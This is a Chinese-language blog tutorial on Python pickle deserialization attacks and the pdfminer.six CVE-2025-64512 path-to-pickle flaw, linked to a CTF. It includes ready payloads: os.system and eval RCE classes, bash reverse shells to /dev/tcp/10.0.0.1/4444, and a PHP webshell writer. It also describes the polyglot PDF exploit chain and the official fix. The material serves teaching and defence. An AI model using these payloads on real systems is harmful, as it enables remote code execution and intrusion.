Python反序列化漏洞详解与pdfminer CVE-2025-64512利用分析
1. 序列化与反序列化基础
什么是序列化?
序列化 (Serialization) 是将对象的状态信息转换为可以存储或传输的格式的过程。 反序列化 (Deserialization) 是序列化的逆过程,将字节流恢复为对象。
为什么需要序列化?
# 场景1: 持久化存储
user_data = {'name': 'Alice', 'age': 25}
# 需要保存到文件中,下次程序启动时恢复
# 场景2: 网络传输
# 需要在客户端和服务器之间传输复杂对象
# 场景3: 缓存
# 将计算结果序列化后存入Redis等缓存系统
Python 中的序列化方法
| 方法 | 特点 | 安全性 |
|---|---|---|
pickle |
Python专用,支持几乎所有Python对象 | 不安全 |
json |
跨语言,只支持基本数据类型 | 相对安全 |
yaml |
人类可读,功能丰富 | 需谨慎配置 |
marshal |
Python内部使用,不稳定 | 不安全 |
2. Python pickle 模块原理
基本使用
import pickle
# 序列化
data = {'name': 'Alice', 'scores': [90, 85, 92]}
serialized = pickle.dumps(data) # 返回bytes
print(serialized) # b'\x80\x04\x95...'
# 反序列化
restored = pickle.loads(serialized)
print(restored) # {'name': 'Alice', 'scores': [90, 85, 92]}
pickle 的工作原理
pickle 使用一种栈式虚拟机来执行序列化和反序列化:
import pickletools
data = {'key': 'value'}
serialized = pickle.dumps(data)
# 查看pickle的操作码
pickletools.dis(serialized)
输出示例:
0: \x80 PROTO 4
2: \x95 FRAME 23
11: } EMPTY_DICT
12: \x94 MEMOIZE (as 0)
13: \x8c SHORT_BINUNICODE 'key'
18: \x94 MEMOIZE (as 1)
19: \x8c SHORT_BINUNICODE 'value'
26: \x94 MEMOIZE (as 2)
27: s SETITEM
28: . STOP
关键操作码
| 操作码 | 含义 |
|---|---|
c |
导入模块和类 |
o |
构建对象(调用 __init__) |
R |
REDUCE,调用可调用对象 |
b |
BUILD,调用 __setstate__ |
i |
INST,实例化对象 |
3. pickle 反序列化漏洞原理
核心问题
pickle.loads() 会执行序列化数据中包含的任意代码!
这是因为 pickle 支持序列化任意 Python 对象,包括:
- 函数
- 类
- 可调用对象
- 甚至可以导入任意模块
最简单的 POC
import pickle
import os
# 构造恶意payload
class Evil:
def __reduce__(self):
# __reduce__方法定义了对象如何被序列化
# 返回(可调用对象, 参数元组)
return (os.system, ('whoami',))
# 序列化恶意对象
payload = pickle.dumps(Evil())
print(payload)
# 反序列化时会执行命令!
pickle.loads(payload) # 执行 whoami
__reduce__ 魔术方法
__reduce__ 是 pickle 反序列化的关键:
def __reduce__(self):
"""
返回值格式:
(callable, args, state, listitems, dictitems)
- callable: 可调用对象(函数/类)
- args: callable的参数元组
- state: 可选,传给__setstate__
- listitems: 可选,列表元素
- dictitems: 可选,字典元素
"""
return (os.system, ('id',))
当执行 pickle.loads() 时:
- pickle 解析字节流
- 遇到 REDUCE 操作码 (
R) - 从栈中弹出 callable 和 args
- 执行
callable(*args) - 命令被执行!
4. 常见的 pickle 攻击方法
方法 1: 直接命令执行
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"',))
payload = pickle.dumps(RCE())
方法 2: 使用 eval
class EvalRCE:
def __reduce__(self):
return (eval, ("__import__('os').system('whoami')",))
payload = pickle.dumps(EvalRCE())
方法 3: 使用 builtins
class BuiltinsRCE:
def __reduce__(self):
import builtins
cmd = "__import__('os').system('id')"
return (builtins.eval, (cmd,))
payload = pickle.dumps(BuiltinsRCE())
方法 4: 反弹 shell
class ReverseShell:
def __reduce__(self):
import builtins
cmd = "__import__('os').system('bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\"')"
return (builtins.eval, (cmd,))
payload = pickle.dumps(ReverseShell(), protocol=2)
方法 5: 写入 webshell
class WriteShell:
def __reduce__(self):
code = "open('/var/www/html/shell.php','w').write('<?php system($_GET[\"cmd\"]);?>')"
return (eval, (code,))
payload = pickle.dumps(WriteShell())
查看生成的 pickle 字节流
import pickletools
payload = pickle.dumps(RCE())
pickletools.dis(payload)
5. pdfminer.six CVE-2025-64512 漏洞详解
OK,讲人话环节!漏洞到底是怎么来的?
pickle.loads(gzfile.read()) 就是这么一小行代码,它执行了反序列化,反序列的数据来自于解压一个 gz 文件读取。
什么时候会执行这个代码?
需要构建新字体的时候,也就是在我们输入的 pdf 文件中用到了这么一个所谓“新字体”的时候,呃呃,大概是这样。
解析 Font 字典,然后解码后发现路径为 /proc/self/cwd/uploads/evil,那么程序就会去读取我们所构建的 evil.pickle.gz 文件。
调用链非常非常长啊,这才是这个东西的难点(哭。
漏洞信息
- CVE编号: CVE-2025-64512
- CVSS评分: 8.6 (高危)
- 影响版本: pdfminer.six < 20251107
- 漏洞类型: 不安全反序列化 (Unsafe Deserialization)
- 修复版本: 20251107 (但修复不完整!)
漏洞位置
文件: pdfminer/cmapdb.py
class CMapDB:
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name # 拼接文件名
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
# 危险! 直接反序列化pickle数据
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
漏洞触发链
完整的调用链:
1. extract_pages(pdf_path)
↓
2. PDFPageInterpreter.process_page(page)
↓
3. PDFPageInterpreter.render_contents(resources, contents)
↓
4. PDFPageInterpreter.init_resources(resources)
↓
5. PDFResourceManager.get_font(objid, spec)
↓
6. PDFCIDFont.__init__(rsrcmgr, spec, strict)
↓
7. PDFCIDFont.get_cmap_from_spec(spec, strict)
↓
8. CMapDB.get_cmap(cmap_name)
↓
9. CMapDB._load_data(name)
↓
10. pickle.loads(gzfile.read()) ← RCE!
关键点分析
1. 如何控制加载的文件?
PDF 中的 /Encoding 字段可以指定 CMap 名称:
# PDFName对象会将 #2F 解码为 /
enc_name = "/#2Fproc#2Fself#2Fcwd#2Fuploads#2Fevil"
# 解码后: /proc/self/cwd/uploads/evil
然后 pdfminer 会加载: /proc/self/cwd/uploads/evil.pickle.gz
2. 为什么使用 /proc/self/cwd?
/proc/self/cwd是当前进程工作目录的符号链接- 等价于当前目录,但绕过了相对路径限制
- 可以访问应用上传目录
3. 如何绕过 PDF 格式检查?
应用会检查是否为合法 PDF:
parser = PDFParser(io.BytesIO(pdf_content))
doc = PDFDocument(parser) # 必须能成功解析
解决方案: 构造 polyglot 文件 (既是 PDF 又是 GZIP)
2. 官方修复方案
官方并没有移除 pickle.loads(因为这是其加载内部资源的方式),而是实施了严格的路径白名单检查。
修复代码 (pdfminer/cmapdb.py)
@classmethod
def _load_data(cls, name: str) -> Any:
# ... (省略)
filename = "%s.pickle.gz" % name
# 定义受信任的资源目录 (白名单)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
# [修复关键点 1] 解析绝对物理路径,消除 symlink 和 '..'
resolved_path = os.path.realpath(path)
resolved_directory = os.path.realpath(directory)
# [修复关键点 2] 强制检查:文件必须在受信任目录内
if not resolved_path.startswith(resolved_directory + os.sep):
continue # 如果路径跳出了受信任目录,直接跳过
if os.path.exists(resolved_path):
gzfile = gzip.open(resolved_path)
try:
# 虽然仍使用 pickle,但现在只能加载白名单目录下的文件
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
3. 修复原理分析
A. 防御路径穿越 (Path Traversal)
使用 os.path.realpath(path) 将路径标准化。
- 输入
../../uploads/evil会被还原为/app/uploads/evil。 - 之前的利用技巧
/proc/self/cwd(软链接)也会被还原为真实的物理路径。
B. 目录逃逸检测 (Directory Sandbox)
使用 startswith(resolved_directory) 进行校验。
- 系统会将文件的真实物理路径与受信任目录(如
/usr/share/pdfminer/)进行比对。 - 攻击者上传的文件通常位于
/tmp/或/app/uploads/。 - 由于
/app/uploads/evil.pickle.gz不以/usr/share/pdfminer/开头,检查失败,程序拒绝加载。
4. 结论
官方通过切断文件加载路径的方式修复了漏洞。虽然危险函数 pickle.loads 依然存在,但攻击者无法再让程序加载外部恶意文件,攻击链因此中断。
这部分都是理论知识基础,我对这个漏洞的认知来自 WMCTF 2025,感兴趣可以查看另一篇博客 :)